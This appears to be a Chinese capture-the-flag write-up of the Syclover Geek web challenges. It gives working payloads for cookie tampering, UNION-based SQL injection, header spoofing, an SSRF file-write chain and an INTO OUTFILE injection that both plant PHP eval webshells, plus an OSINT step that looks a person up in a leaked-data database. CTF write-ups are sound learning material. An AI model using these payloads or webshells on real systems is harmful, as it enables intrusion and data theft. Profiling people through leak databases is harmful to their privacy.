趁着题目还在,及时做了几道题目,其中有几道题目还是不错的。
题目地址: http://geek.sycsec.com/game/web
web_1
来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/a59817b3061870c0/
抓包,在Response包中可以得到flag
web_2
来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/ce9b3a20d290fbc8/
抓包,在请求包中存在Cookie: whoami=guest%40geekgame; root=0; __jsluid=.......
1
Cookie: whoami=guest%40geekgame; root=0; __jsluid=.......
修改为Cookie: whoami=admin%40geekgame; root=1; __jsluid=.......
Social Engineering
有一天我捕了一只狗师傅,嘴里叼着一张纸,纸上赫然写着:http://web.sycsec.com/36da077bd47665ae/ (解题不需要联系题目邮箱和电话号码,请不要试图联系题目的邮箱和电话号码)
这道题目是一道社会工程学,就比较有意思了。
访问URL,得到页面:
页面中存在邮箱,手机号,以及贴吧的相关信息。
查选社工库,得到:
得到对应的用户数是肖力,进入到贴吧
接下来进入到肖力的QQ空间,发现他最近买了一个域名,于是查询sycsec.com
的whois信息,在万网上面查询域名信息,最后域名申请人的电话即为flag。
这算是一个简单的社会工程学的题目吧
sqli1
呃,听说这个和数据库有关呢-,- http://web.sycsec.com/d03e52c272e42e7c/
这道题目唯一比较有趣的地方在于数据库的表名是#FL4G#
,包括了mysql中的注释符。
如果直接使用payload则会出错:
表名无法进行查询。
需要将#FL4G#
中的#
进行转义,那么就应该写为1
http://web.sycsec.com/d03e52c272e42e7c/?sycid=-1 union select 1,group_concat(id,flag),3 from `#FL4G#`
最后进行urlencode编码就可以得到flag。
sqli2
我是萌萌哒sqli2:http://web.sycsec.com/a2274e0e500459f7/
常规的SQL注入题目,其中的唯一要求就是需要满足返回的结果只有一条1
2http://web.sycsec.com/a2274e0e500459f7/login.php
POST Data:username=' union select 1,2#&password=admin&debug=1
127.0.0.x
落雨声滴答滴滴,回荡着轻声细语:http://game.sycsec.com:50080/69e57206e1bc2a23/
使用X-Forwarded-For:127.0.0.X
就可以了
php_is_fun
phpinfo() is disabled; http://game.sycsec.com:50084/
这道题目还是比较有趣的,需要一定的技术能力和脑洞。
访问页面,得到如下代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
发现,程序会访问url中的$file参数,然后写入到$path文件中。例如当访问:1
http://game.sycsec.com:50084/?file=http://127.0.0.1/index.php&path=tmp.txt
显示结果如下:
但是这道题目该如何绕过呢?由于$path是我们直接输入的,那么$path就完全是我们可控的,我们可以考虑在$path写为一句话木马。
那么最后的payload为:1
http://game.sycsec.com:50084/?path=lemon.php&file=http%3A%2f%2f127.0.0.1%2f%3Fpath%3D%253C%253Fphp%2520@eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%26file%3Dhttp%3A%2f%2f127.0.0.1%2findex.php
上述的payload的原理在于,在第二次访问url时,path=<?php @eval($_POST[1]);?>
,会被echo输出,最后第二次访问返回的就是console.log(<?php @eval($_POST[1]);?> update successed!)
,最后就会写入到lemon.php中,那么形成了一句话木马了。
最后就可以利用菜刀连接木马,得到flag。
撸啊撸
喜欢玩LOL么 http://lol.sycsec.com
使用burp进行抓包分析,发现存在文件读取漏洞1
http://lol.sycsec.com/download.php?url=images/1.jpg
尝试读取index.php、api.php、download.php文件
发现在api.php存在问题1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35<?php
error_reporting(0);
include "json.php";
$config = include "config.inc.php";
if (isset($_GET['img_first']) and isset($_GET['img_num'])){
$img_first = $_GET['img_first'];
$img_num = $_GET['img_num'];
$conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);
if (mysqli_connect_errno($conn)){
die("Can not connect mysql!".mysqli_connect_error());
}
$check = is_numeric($img_num) and is_numeric($img_first);
if (!$check){
$img_num = intval($img_num);
$img_first = intval($img_first);
}
$sql = "SELECT * FROM images LIMIT $img_first,$img_num";
$result = mysqli_query($conn,$sql);
$i = 0;
while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
$rows[$i] = $row;
$i++;
}
$json = new Services_JSON();
echo $json->encode(array('result'=>$rows));
//echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
}else {
die("Missing parameter img_first or img_num");
}
其中的关键代码是在于:1
$check = is_numeric($img_num) and is_numeric($img_first);
在php中的优先级是: &&大于=,=大于and。所以and后面的语句是没有用的,只需要满足is_numeric($img_num)
为True即可。
尝试注入如下语句:1
http://lol.sycsec.com/api.php?img_num=10&img_first=1 union select 1,2--+
页面返回{"result":[{"id":"1","path":"images\/1.jpg"},{"id":"1","path":"2"}]}
那么说明参数img_first是存在SQL注入漏洞的。
尝试读取数据库信息1
2
3
4
5http://lol.sycsec.com/api.php?
img_num=10
&
img_first=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()
--+
页面返回{"result":[{"id":"1","path":"images\/1.jpg"},{"id":"1","path":"images"}]}
。
在数据库中只存在images
表,说明在数据库中不存在flag。
尝试使用SQL语句写入一句话木马1
2
3
4
5http://lol.sycsec.com/api.php?
img_num=10
&
img_first=1 union select 1, '<?php @eval($_POST[])?>' from into outfile '/var/www/html/cmd.php'
--+
最后使用菜刀连接,就可以得到flag。
Only number never lies to you(score:250)
http://game.sycsec.com:50082/ Only number never lies to you.
Tip:dir
还没有来得及做,就无法访问了。
参考
第七季极客大挑战writeup http://blog.sycsec.com/?p=894